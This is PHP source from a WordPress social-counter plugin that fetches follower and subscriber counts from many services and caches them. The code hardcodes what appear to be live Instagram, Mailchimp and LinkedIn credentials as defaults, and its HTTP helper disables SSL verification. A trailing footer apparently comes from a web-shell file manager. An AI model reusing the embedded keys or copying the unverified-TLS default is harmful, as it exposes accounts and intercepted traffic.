

///**
// * Instagram Followers

// Delete as it does not work anymore...
// todo - delete it later
// */
//if(!function_exists('xsc_instagram_count')) :
//
//	function xsc_instagram_count($cache_time) {
//
//
//		$tran_key = '_xs_social_instagram_count_55';
//
//		$trans_value = get_transient($tran_key);
//
//
//		if(false === $trans_value) {
//
//			global $xsc_data, $xsc_options, $xsc_transient, $xsc_options_save;
//
//			if(!empty($xsc_transient['instagram'])) {
//				$result = $xsc_transient['instagram'];
//			} elseif(empty($xsc_transient['instagram']) && !empty($xsc_data) && !empty($xsc_options['data']['instagram'])) {
//				$result = $xsc_options['data']['instagram'];
//			} else {
//
//
//				$default_token = '2367672995.f53f83f.88eda6a77b1d4a9fb704fedc4ff869eb';
//				$token = get_option('xs_counter_instagram_token') ? get_option('xs_counter_instagram_token') : '';
//				if(strlen($token) > 5) {
//					$token = strlen($token) > 5 ? $token : $default_token;
//					$explodeUs = explode('.', $token);
//					$id = current($explodeUs);
//					$url = sprintf(
//						'https://api.instagram.com/v1/users/%s?access_token=%s',
//						$id,
//						$token
//					);
//					$data = xsc_remote_get($url);
//					$result = (int)isset($data['data']['counts']['followed_by']) ? $data['data']['counts']['followed_by'] : 0;
//				} else {
//
//					$id = isset($xsc_options_save['social']['instagram']['id']) ? $xsc_options_save['social']['instagram']['id'] : '2367672995';
//
//					$url = 'http://instagram.com/' . $id . '#';
//
//					$get_request = wp_remote_get($url, ['timeout' => 20]);
//					$the_request = wp_remote_retrieve_body($get_request);
//
//					$pattern = "/followed_by\":[ ]*{\"count\":(.*?)}/";
//
//					if(is_string($the_request) && preg_match($pattern, $the_request, $matches)) {
//
//						$result = intval($matches[1]);
//					}
//				}
//
//				if(!empty($result)) //To update the stored data
//				{
//					$xsc_data['instagram'] = $result;
//				}
//
//				if(empty($result) && !empty($xsc_options['data']['instagram'])) //Get the stored data
//				{
//					$result = $xsc_options['data']['instagram'];
//				}
//
//			}
//
//			$expiration_time = empty($cache_time) ? 43200 : intval($cache_time);
//
//			set_transient($tran_key, $result, $expiration_time);
//			update_option('_xs_social_instagram_last_cached', time());
//
//			return $result;
//		}
//
//		return $trans_value;
//
//	}
//endif;
//

/**
 * Foursquare Followers
 */
if(!function_exists('xsc_foursquare_count')) :
	function xsc_foursquare_count($cache_time = 3600) {

		global $xsc_data, $xsc_options, $xsc_transient, $xsc_options_save;

		if(!empty($xsc_transient['foursquare'])) {
			$result = $xsc_transient['foursquare'];
		} elseif(empty($xsc_transient['foursquare']) && !empty($xsc_data) && !empty($xsc_options['data']['foursquare'])) {
			$result = $xsc_options['data']['foursquare'];
		} else {
			$api = get_option('foursquare_access_token');
			$date = date("Ymd");
			try {
				$data = @xsc_remote_get("https://api.foursquare.com/v2/users/self?oauth_token=$api&v=$date");
				$result = (int)$data['response']['user']['friends']['count'];
			} catch(Exception $e) {
				$result = 0;
			}

			if(!empty($result)) //To update the stored data
			{
				$xsc_data['foursquare'] = $result;
			}

			if(empty($result) && !empty($xsc_options['data']['foursquare'])) //Get the stored data
			{
				$result = $xsc_options['data']['foursquare'];
			}
		}

		return $result;

	}
endif;


/**
 * Mailchimp Subscribers
 */
if(!function_exists('xsc_mailchimp_count')) :
	function xsc_mailchimp_count($cache_time) {

		$tran_key = '_xs_social_mailchimp_count_';

		$trans_value = get_transient($tran_key);

		if(false === $trans_value) {

			global $xsc_data, $xsc_options, $xsc_transient, $xsc_options_save;

			if(!empty($xsc_transient['mailchimp'])) {
				$result = $xsc_transient['mailchimp'];
			} elseif(empty($xsc_transient['mailchimp']) && !empty($xsc_data) && !empty($xsc_options['data']['mailchimp'])) {
				$result = $xsc_options['data']['mailchimp'];
			} else {

				$result = 0;
				$id = isset($xsc_options_save['social']['mailchimp']['id']) ? $xsc_options_save['social']['mailchimp']['id'] : ''; //35bfe5a4f5
				$apikey = isset($xsc_options_save['social']['mailchimp']['api']) ? $xsc_options_save['social']['mailchimp']['api'] : '7025ab20d2b50082e656df4e8e98f02f-us8';

				$server = explode('-', $apikey);
				$hosting = end($server);

				$url = sprintf('https://%s.api.mailchimp.com/3.0/lists/%s', $hosting, $id);
				$response = wp_remote_get($url, [
					'timeout' => 10,
					'headers' => [
						'Authorization' => 'apikey ' . $apikey,
						'Content-Type'  => 'application/vnd.api+json',
					],
				]);
				$response = wp_remote_retrieve_body($response);
				$response = json_decode($response, true);

				/*
				//https://developer.mailchimp.com/documentation/mailchimp/guides/how-to-use-oauth2/
				$url = sprintf('https://%s.api.mailchimp.com/3.0/', $hosting);
				$response = wp_remote_get( $url, array(
					'timeout' => 10,
					'headers' => array(
						'Authorization' => 'apikey ' . $apikey,
						'Content-Type' => 'application/vnd.api+json',
					)
				));
				$response = wp_remote_retrieve_body( $response );
				$response = json_decode( $response, true );

				print_r($response);
				*/

				if(isset($response['lists'][0]['stats'])) {
					$result = isset($response['lists'][0]['stats']['member_count']) ? $response['lists'][0]['stats']['member_count'] : 0;
				} else {
					$result = isset($response['stats']['member_count']) ? $response['stats']['member_count'] : 0;
				}

				if(!empty($result)) //To update the stored data
				{
					$xsc_data['mailchimp'] = $result;
				}

				if(empty($result) && !empty($xsc_options['data']['mailchimp'])) //Get the stored data
				{
					$result = $xsc_options['data']['mailchimp'];
				}
			}

			$expiration_time = empty($cache_time) ? 43200 : intval($cache_time);

			set_transient($tran_key, $result, $expiration_time);
			update_option('_xs_social_mailchimp_last_cached', time());

			return $result;
		}

		return $trans_value;

	}
endif;


/**
 * MailPoet Subscribers
 */
if(!function_exists('xsc_mailpoet_count')) :
	function xsc_mailpoet_count($cache_time = 3600) {

		global $xsc_data, $xsc_options, $xsc_transient, $xsc_options_save;

		if(!empty($xsc_transient['mailpoet'])) {
			$result = $xsc_transient['mailpoet'];
		} elseif(empty($xsc_transient['mailpoet']) && !empty($xsc_data) && !empty($xsc_options['data']['mailpoet'])) {
			$result = $xsc_options['data']['mailpoet'];
		} else {

			$list = $xsc_options_save['social']['mailpoet']['list'];

			if(!empty($list)) {
				if($list == 'all') {
					$result = do_shortcode('[mailpoet_subscribers_count]');
				} else {
					$result = do_shortcode('[mailpoet_subscribers_count segments="' . $list . '"]');
				}
			}

			if(!empty($result)) //To update the stored data
			{
				$xsc_data['mailpoet'] = $result;
			}

			if(empty($result) && !empty($xsc_options['data']['mailpoet'])) //Get the stored data
			{
				$result = $xsc_options['data']['mailpoet'];
			}
		}

		return $result;

	}
endif;


/**
 * myMail Subscribers
 */
if(!function_exists('xsc_mymail_count')) :
	function xsc_mymail_count($cache_time = 3600) {

		global $xsc_data, $xsc_options, $xsc_transient, $xsc_options_save;

		if(!empty($xsc_transient['mymail'])) {
			$result = $xsc_transient['mymail'];
		} elseif(empty($xsc_transient['mymail']) && !empty($xsc_data) && !empty($xsc_options['data']['mymail'])) {
			$result = $xsc_options['data']['mymail'];
		} else {

			$list = $xsc_options_save['social']['mymail']['list'];

			if(!empty($list)) {
				if($list == 'all') {
					$counts = mailster('subscribers')->get_count_by_status();
					$result = $counts[1];
				} else {
					$result = mailster('lists')->get_member_count($list, 1);
				}
			}

			if(!empty($result)) //To update the stored data
			{
				$xsc_data['mymail'] = $result;
			}

			if(empty($result) && !empty($xsc_options['data']['mymail'])) //Get the stored data
			{
				$result = $xsc_options['data']['mymail'];
			}
		}

		return $result;

	}
endif;


/**
 * LinkedIn Followers
 */
if(!function_exists('xsc_linkedin_count')) :
	function xsc_linkedin_count($cache_time = 3600) {

		global $xsc_data, $xsc_options, $xsc_transient, $xsc_options_save;

		if(!empty($xsc_transient['linkedin'])) {
			$result = $xsc_transient['linkedin'];
		} elseif(empty($xsc_transient['linkedin']) && !empty($xsc_data) && !empty($xsc_options['data']['linkedin'])) {
			$result = $xsc_options['data']['linkedin'];
		} else {
			$default_token = 'AQRX2qAD_yEPBj6jdTLqcn6rgPCgZCKcF8gRPppRcW94N7zZus35iZ4LylyRcuMfm7HnphraWkSTyDF6sxFPSZk5x2GnQnHYDV3Ueu1-qVp5J_3Nw5ZIC1A_OOkn1pfj1q_ZihHq4_6HOfkS7oVO9ZTjUogsfc1U6DEKgGQVi1JT-5NLfKm3E2XoZal33g';
			$token = get_option('xs_counter_linkedin_token') ? get_option('xs_counter_linkedin_token') : '';
			//$token = strlen($token) > 5 ? $token : $default_token;

			$type = isset($xsc_options_save['social']['linkedin']['type']) ? $xsc_options_save['social']['linkedin']['type'] : 'Profile';
			$result = 0;
			if(!empty($xsc_options_save['social']['linkedin']['type']) && !empty($token)) {

				$args = [
					'headers' => [
						'Authorization'             => sprintf('Bearer %s', $token),
						'Content-Type'              => 'application/json',
						'x-li-format'               => 'json',
						'X-Restli-Protocol-Version' => '2.0.0',
					],
				];

				if($type == 'Profile') {
					$id = isset($xsc_options_save['social']['linkedin']['id']) ? $xsc_options_save['social']['linkedin']['id'] : '';

					//$data   = xsc_remote_get('https://api.linkedin.com/v2/me', true, $args);
					$fields = 'id,numConnections';

					//$data   = xsc_remote_get('https://api.linkedin.com/v2/me?projection=(id,firstName,lastName,profilePicture(displayImage~:playableStreams),numConnections)', true, $args);
					$data = xsc_remote_get('https://api.linkedin.com/v2/me?projection=(num-connections)', true, $args);

					try {
						$result = (int)isset($data['numConnections']) ? $data['numConnections'] : 0;
					} catch(Exception $e) {
						$result = 0;
					}

				} elseif($type == 'Company') {
					$companyId = isset($xsc_options_save['social']['linkedin']['id']) ? $xsc_options_save['social']['linkedin']['id'] : '';
					$page_id = sprintf('https://api.linkedin.com/v1/companies/%s/num-followers?format=json', $companyId);
					//$page_id = sprintf('https://api.linkedin.com/v2/organizations?q=vanityI&vanityName=%s', $companyId );
					try {
						$data = xsc_remote_get($page_id, true, $args);
						//print_r($data);
						if(!is_array($data)) {
							$result = $data;
						}
					} catch(Exception $e) {
						$result = 0;
					}
				}

				if(!empty($result)) { //To update the stored data
					$xsc_data['linkedin'] = $result;
				}

				if(empty($result) && !empty($xsc_options['data']['linkedin'])) { //Get the stored data
					$result = $xsc_options['data']['linkedin'];
				}
			}
		}

		return $result;
	}
endif;


/**
 * Vk Members
 */
if(!function_exists('xsc_vkontakte_count')) :
	function xsc_vkontakte_count($cache_time = 3600) {

		global $xsc_data, $xsc_options, $xsc_transient, $xsc_options_save;

		$counter = 0;

		if(!empty($xsc_transient['vkontakte'])) {
			$counter = $xsc_transient['vkontakte'];
		} elseif(empty($xsc_transient['vkontakte']) && !empty($xsc_data) && !empty($xsc_options['data']['vkontakte'])) {
			$counter = $xsc_options['data']['vkontakte'];
		} else {

			$id = isset($xsc_options_save['social']['vkontakte']['id']) ? $xsc_options_save['social']['vkontakte']['id'] : 'id72867608';

			$get_request = wp_remote_get("https://m.vk.com/$id", ['timeout' => 20]);
			$the_request = wp_remote_retrieve_body($get_request);

			$pattern = '/pm_counter[^>]+>(.*?)<\/em/s';
			preg_match($pattern, $the_request, $matches);

			if(!empty($matches[1])) {
				$number = strip_tags($matches[1]);
				$counter = '';

				foreach(str_split($number) as $char) {
					if(is_numeric($char)) {
						$counter .= $char;
					}
				}
			}

			if(!empty($counter)) //To update the stored data
			{
				$xsc_data['vkontakte'] = $counter;
			}

			if(empty($counter) && !empty($xsc_options['data']['vkontakte'])) //Get the stored data
			{
				$counter = $xsc_options['data']['vkontakte'];
			}
		}

		return $counter;

	}
endif;


/**
 * Tumblr Followers
 */
if(!function_exists('xsc_tumblr_count')) :
	function xsc_tumblr_count($cache_time = 3600) {

		global $xsc_data, $xsc_options, $xsc_transient, $xsc_options_save;

		if(!empty($xsc_transient['tumblr'])) {
			$result = $xsc_transient['tumblr'];
		} elseif(empty($xsc_transient['tumblr']) && !empty($xsc_data) && !empty($xsc_options['data']['tumblr'])) {
			$result = $xsc_options['data']['tumblr'];
		} else {
			$base_hostname = str_replace([
				                             'http://',
				                             'https://',
			                             ], '', $xsc_options_save['social']['tumblr']['hostname']);

			try {
				$consumer_key = get_option('tumblr_api_key');
				$consumer_secret = get_option('tumblr_api_secret');
				$oauth_token = get_option('tumblr_oauth_token');
				$oauth_token_secret = get_option('tumblr_token_secret');
				$tumblr_api_URI = 'http://api.tumblr.com/v2/blog/' . $base_hostname . '/followers';

				$tum_oauth = new TumblrOAuthTie($consumer_key, $consumer_secret, $oauth_token, $oauth_token_secret);
				$tumblr_api = $tum_oauth->post($tumblr_api_URI, '');

				if($tumblr_api->meta->status == 200 && !empty($tumblr_api->response->total_users)) {
					$result = (int)$tumblr_api->response->total_users;
				}

			} catch(Exception $e) {
				$result = 0;
			}

			if(!empty($result)) //To update the stored data
			{
				$xsc_data['tumblr'] = $result;
			}

			if(empty($result) && !empty($xsc_options['data']['tumblr'])) //Get the stored data
			{
				$result = $xsc_options['data']['tumblr'];
			}
		}

		return $result;

	}
endif;


/**
 * 500px Followers
 */
if(!function_exists('xsc_500px_count')) :
	function xsc_500px_count($cache_time = 3600) {

		global $xsc_data, $xsc_options, $xsc_transient, $xsc_options_save;

		$result = 0;

		if(!empty($xsc_transient['500px'])) {
			$result = $xsc_transient['500px'];
		} elseif(empty($xsc_transient['500px']) && !empty($xsc_data) && !empty($xsc_options['data']['500px'])) {
			$result = $xsc_options['data']['500px'];
		} else {

			$social_id = $xsc_options_save['social']['500px']['username'];
			$get_request = wp_remote_get("https://500px.com/$social_id", ['timeout' => 20]);
			$the_request = wp_remote_retrieve_body($get_request);

			$pattern = '/followers[^>]+>(.*?)<\/li/s';
			preg_match($pattern, $the_request, $matches);

			if(!empty($matches[1])) {

				$number = strip_tags($matches[1]);
				$result = '';

				foreach(str_split($number) as $char) {
					if(is_numeric($char)) {
						$result .= $char;
					}
				}
			}

			if(!empty($result)) //To update the stored data
			{
				$xsc_data['500px'] = $result;
			}

			if(empty($result) && !empty($xsc_options['data']['500px'])) //Get the stored data
			{
				$result = $xsc_options['data']['500px'];
			}
		}

		return $result;

	}
endif;


/**
 * Pinterest Followers
 */
if(!function_exists('xsc_pinterest_count')) :
	function xsc_pinterest_count($cache_time = 3600) {

		global $xsc_data, $xsc_options, $xsc_transient, $xsc_options_save;

		if(!empty($xsc_transient['pinterest'])) {
			$result = $xsc_transient['pinterest'];			
		} elseif(empty($xsc_transient['pinterest']) && !empty($xsc_data) && !empty($xsc_options['data']['pinterest'])) {
			$result = $xsc_options['data']['pinterest'];
		} else {
			$result = '';
			$username = isset($xsc_options_save['social']['pinterest']['username']) ? $xsc_options_save['social']['pinterest']['username'] : '101outfitcom';
			try {
				// Pinterest API integration
				$api_url = 'https://api.pinterest.com/v3/pidgets/users/' . urlencode($username) . '/pins/';
				$response = wp_remote_get($api_url);
		
				if (!is_wp_error($response) && $response['response']['code'] === 200) {
					$data = json_decode($response['body'], true);
		
					if (isset($data['data']['user']['follower_count'])) {
						$result = $data['data']['user']['follower_count'];
					}
				}
			} catch(Exception $e) {
				$result = 0;
			}

			if(!empty($result)) //To update the stored data
			{
				$xsc_data['pinterest'] = $result;
			}

			if(empty($result) && !empty($xsc_options['data']['pinterest'])) //Get the stored data
			{
				$result = $xsc_options['data']['pinterest'];
			}
		}

		return $result;
	}
endif;


/**
 * Flickr Followers
 */
if(!function_exists('xsc_flickr_count')) :
	function xsc_flickr_count($cache_time = 3600) {

		global $xsc_data, $xsc_options, $xsc_transient, $xsc_options_save;

		if(!empty($xsc_transient['flickr'])) {
			$result = $xsc_transient['flickr'];
		} elseif(empty($xsc_transient['flickr']) && !empty($xsc_data) && !empty($xsc_options['data']['flickr'])) {
			$result = $xsc_options['data']['flickr'];
		} else {
			$id = $xsc_options_save['social']['flickr']['id'];
			$api = $xsc_options_save['social']['flickr']['api'];
			try {
				$data = @xsc_remote_get("https://api.flickr.com/services/rest/?method=flickr.groups.getInfo&api_key=$api&group_id=$id&format=json&nojsoncallback=1");
				$result = (int)$data['group']['members']['_content'];
			} catch(Exception $e) {
				$result = 0;
			}

			if(!empty($result)) //To update the stored data
			{
				$xsc_data['flickr'] = $result;
			}

			if(empty($result) && !empty($xsc_options['data']['flickr'])) //Get the stored data
			{
				$result = $xsc_options['data']['flickr'];
			}
		}

		return $result;

	}
endif;


/**
 * Steam Followers
 */
if(!function_exists('xsc_steam_count')) :
	function xsc_steam_count($cache_time = 3600) {

		global $xsc_data, $xsc_options, $xsc_transient, $xsc_options_save;

		if(!empty($xsc_transient['steam'])) {
			$result = $xsc_transient['steam'];
		} elseif(empty($xsc_transient['steam']) && !empty($xsc_data) && !empty($xsc_options['data']['steam'])) {
			$result = $xsc_options['data']['steam'];
		} else {
			$id = $xsc_options_save['social']['steam']['group'];
			try {
				$data = @xsc_remote_get("http://steamcommunity.com/groups/$id/memberslistxml?xml=1", false);
				$data = @new SimpleXmlElement($data);
				$result = (int)$data->groupDetails->memberCount;
			} catch(Exception $e) {
				$result = 0;
			}

			if(!empty($result)) //To update the stored data
			{
				$xsc_data['steam'] = $result;
			}

			if(empty($result) && !empty($xsc_options['data']['steam'])) //Get the stored data
			{
				$result = $xsc_options['data']['steam'];
			}
		}

		return $result;
	}
endif;


/**
 * Rss Subscribers
 */
if(!function_exists('xsc_rss_count')) :
	function xsc_rss_count($cache_time = 3600) {

		global $xsc_data, $xsc_options, $xsc_transient, $xsc_options_save;

		if(!empty($xsc_transient['rss'])) {
			$result = $xsc_transient['rss'];
		} elseif(empty($xsc_transient['rss']) && !empty($xsc_data) && !empty($xsc_options['data']['rss'])) {
			$result = $xsc_options['data']['rss'];
		} else {
			if(($xsc_options_save['social']['rss']['type'] == 'feedpress.it') && !empty($xsc_options_save['social']['rss']['feedpress'])) {
				try {
					$feedpress_url = esc_url($xsc_options_save['social']['rss']['feedpress']);
					$feedpress_url = str_replace('feedpress.it', 'feed.press', $feedpress_url);
					//$feedpress_url 	= str_replace( 'http', 'https', $feedpress_url);

					$data = @xsc_remote_get($feedpress_url);
					$result = (int)$data['subscribers'];
				} catch(Exception $e) {
					$result = 0;
				}
			} elseif(($xsc_options_save['social']['rss']['type'] == 'Manual') && !empty($xsc_options_save['social']['rss']['manual'])) {
				$result = $xsc_options_save['social']['rss']['manual'];
			} else {
				$result = 0;
			}
			if(!empty($result)) //To update the stored data
			{
				$xsc_data['rss'] = $result;
			}

			if(empty($result) && !empty($xsc_options['data']['rss'])) //Get the stored data
			{
				$result = $xsc_options['data']['rss'];
			}
		}

		return $result;

	}
endif;


/*
* Spotify Followers
*/
if(!function_exists('xsc_spotify_count')) :
	function xsc_spotify_count($cache_time = 3600) {

		global $xsc_data, $xsc_options, $xsc_transient, $xsc_options_save;

		if(!empty($xsc_transient['spotify'])) {
			$result = $xsc_transient['spotify'];
		} elseif(empty($xsc_transient['spotify']) && !empty($xsc_data) && !empty($xsc_options['data']['spotify'])) {
			$result = $xsc_options['data']['spotify'];
		} else {
			$id = $url = $xsc_options_save['social']['spotify']['id'];
			$id = rtrim($id, "/");
			$id = urlencode(str_replace([
				                            'https://play.spotify.com/',
				                            'https://player.spotify.com/',
				                            'artist/',
				                            'user/',
			                            ], '', $id));

			try {
				if(!empty($url) && strpos($url, 'artist') !== false) {
					$data = @xsc_remote_get("https://api.spotify.com/v1/artists/$id");
				} else {
					$data = @xsc_remote_get("https://api.spotify.com/v1/users/$id");
				}
				$result = (int)$data['followers']['total'];

			} catch(Exception $e) {
				$result = 0;
			}

			if(!empty($result)) //To update the stored data
			{
				$xsc_data['spotify'] = $result;
			}

			if(empty($result) && !empty($xsc_options['data']['spotify'])) //Get the stored data
			{
				$result = $xsc_options['data']['spotify'];
			}
		}

		return $result;

	}
endif;


/**
 * Goodreads Followers
 */
if(!function_exists('xsc_goodreads_count')) :
	function xsc_goodreads_count($cache_time = 3600) {

		global $xsc_data, $xsc_options, $xsc_transient, $xsc_options_save;

		if(!empty($xsc_transient['goodreads'])) {
			$result = $xsc_transient['goodreads'];
		} elseif(empty($xsc_transient['goodreads']) && !empty($xsc_data) && !empty($xsc_options['data']['goodreads'])) {
			$result = $xsc_options['data']['goodreads'];
		} else {
			$id = $url = $xsc_options_save['social']['goodreads']['id'];
			$key = $xsc_options_save['social']['goodreads']['key'];

			$id = rtrim($id, "/");
			$id = @parse_url($id);
			$id = $id['path'];
			$id = str_replace(['/user/show/', '/author/show/'], '', $id);
			if(strpos($id, '-') !== false) {
				$id = explode('-', $id);
			} else {
				$id = explode('.', $id);
			}
			$id = $id[0];
			try {
				if(!empty($url) && strpos($url, 'author') !== false) {
					$data = @xsc_remote_get("https://www.goodreads.com/author/show/$id.xml?key=$key", false);
					$data = @new SimpleXmlElement($data);
					$result = (int)$data->author->author_followers_count;
				} else {
					$data = @xsc_remote_get("https://www.goodreads.com/user/show/$id.xml?key=$key", false);
					$data = @new SimpleXmlElement($data);
					$result = (int)$data->user->friends_count;
				}

			} catch(Exception $e) {
				$result = 0;
			}

			if(!empty($result)) //To update the stored data
			{
				$xsc_data['goodreads'] = $result;
			}

			if(empty($result) && !empty($xsc_options['data']['goodreads'])) //Get the stored data
			{
				$result = $xsc_options['data']['goodreads'];
			}
		}

		return $result;

	}
endif;


/**
 * Twitch Followers
 */
if(!function_exists('xsc_twitch_count')) :
	function xsc_twitch_count($cache_time = 3600) {

		global $xsc_data, $xsc_options, $xsc_transient, $xsc_options_save;

		if(!empty($xsc_transient['twitch'])) {
			$result = $xsc_transient['twitch'];
		} elseif(empty($xsc_transient['twitch']) && !empty($xsc_data) && !empty($xsc_options['data']['twitch'])) {
			$result = $xsc_options['data']['twitch'];
		} else {
			$id = $xsc_options_save['social']['twitch']['id'];
			$api = get_option('twitch_access_token');

			try {
				$data = @xsc_remote_get("https://api.twitch.tv/kraken/channels/$id?oauth_token=$api");

				$result = (int)$data['followers'];
			} catch(Exception $e) {
				$result = 0;
			}

			if(!empty($result)) //To update the stored data
			{
				$xsc_data['twitch'] = $result;
			}

			if(empty($result) && !empty($xsc_options['data']['twitch'])) //Get the stored data
			{
				$result = $xsc_options['data']['twitch'];
			}
		}

		return $result;

	}
endif;


/**
 * Mixcloud Followers
 */
if(!function_exists('xsc_mixcloud_count')) :
	function xsc_mixcloud_count($cache_time = 3600) {

		global $xsc_data, $xsc_options, $xsc_transient, $xsc_options_save;

		if(!empty($xsc_transient['mixcloud'])) {
			$result = $xsc_transient['mixcloud'];
		} elseif(empty($xsc_transient['mixcloud']) && !empty($xsc_data) && !empty($xsc_options['data']['mixcloud'])) {
			$result = $xsc_options['data']['mixcloud'];
		} else {
			$id = $xsc_options_save['social']['mixcloud']['id'];
			try {
				$data = @xsc_remote_get("http://api.mixcloud.com/$id/");
				$result = (int)$data['follower_count'];
			} catch(Exception $e) {
				$result = 0;
			}

			if(!empty($result)) //To update the stored data
			{
				$xsc_data['mixcloud'] = $result;
			}

			if(empty($result) && !empty($xsc_options['data']['mixcloud'])) //Get the stored data
			{
				$result = $xsc_options['data']['mixcloud'];
			}
		}

		return $result;

	}
endif;


/**
 * Posts Number
 */
if(!function_exists('xsc_posts_count')) :
	function xsc_posts_count($cache_time = 3600) {
		$count_posts = wp_count_posts();

		return $result = $count_posts->publish;
	}
endif;


/**
 * Comments number
 */
if(!function_exists('xsc_comments_count')) :
	function xsc_comments_count($cache_time = 3600) {
		$comments_count = wp_count_comments();

		return $result = $comments_count->approved;
	}
endif;


/**
 * Members number
 */
if(!function_exists('xsc_members_count')) :
	function xsc_members_count($cache_time = 3600) {
		$members_count = count_users();

		return $result = $members_count['total_users'];
	}
endif;


/**
 * Groups number
 */
if(!function_exists('xsc_groups_count')) :
	function xsc_groups_count($cache_time = 3600) {
		return $result = groups_get_total_group_count();
	}
endif;


/**
 * bbPress Counters
 */
if(!function_exists('xsc_bbpress_count')) :
	function xsc_bbpress_count($count) {
		$arg = [
			'count_users'           => false,
			'count_forums'          => false,
			'count_topics'          => false,
			'count_private_topics'  => false,
			'count_spammed_topics'  => false,
			'count_trashed_topics'  => false,
			'count_replies'         => false,
			'count_private_replies' => false,
			'count_spammed_replies' => false,
			'count_trashed_replies' => false,
			'count_tags'            => false,
			'count_empty_tags'      => false,
		];

		$arg['count_' . $count] = true;

		$counters = bbp_get_statistics($arg);
		if($count == 'forums') {
			$result = $counters['forum_count'];
		} elseif($count == 'topics') {
			$result = $counters['topic_count'];
		} elseif($count == 'replies') {
			$result = $counters['reply_count'];
		}

		return $result;

	}
endif;


if(!function_exists('xsc_remote_get')) :
	function xsc_remote_get($url, $json = true, $args = ['timeout' => 18, 'sslverify' => false]) {
		$get_request = preg_replace('/\s+/', '', $url);
		$get_request = wp_remote_get($url, $args);
		$request = wp_remote_retrieve_body($get_request);

		if($json) {
			$request = @json_decode($request, true);
		}

		return $request;
	}
endif;


if(!function_exists('xs_format_num')) :
	function xs_format_num($number) {

		if(!is_numeric($number)) {
			return $number;
		}

		global $wp_locale;

		$sep = [];
		$sep[] = (isset($wp_locale)) ? $wp_locale->number_format['decimal_point'] : '.';
		$sep[] = (isset($wp_locale)) ? $wp_locale->number_format['thousands_sep'] : ',';

		$number = str_replace($sep, '', $number);

		$precision = 1;

		if($number < 100) {
			// 0 - 900
			$n_format = number_format($number, $precision);
			$suffix = '';
		} else {
			if($number < 900000) {
				// 0.9k-850k
				$n_format = number_format($number / 1000, $precision);
				$suffix = 'K';
			} else {
				if($number < 900000000) {
					// 0.9m-850m
					$n_format = number_format($number / 1000000, $precision);
					$suffix = 'M';
				} else {
					if($number < 900000000000) {
						// 0.9b-850b
						$n_format = number_format($number / 1000000000, $precision);
						$suffix = 'B';
					} else {
						// 0.9t+
						$n_format = number_format($number / 1000000000000, $precision);
						$suffix = 'T';
					}
				}
			}
		}

		// Remove unecessary zeroes after decimal
		$dotzero = '.' . str_repeat('0', $precision);
		$n_format = str_replace($dotzero, '', $n_format);

		return $n_format . $suffix;
	}
endif;

Youez - 2016 - github.com/yon3zu
LinuXploit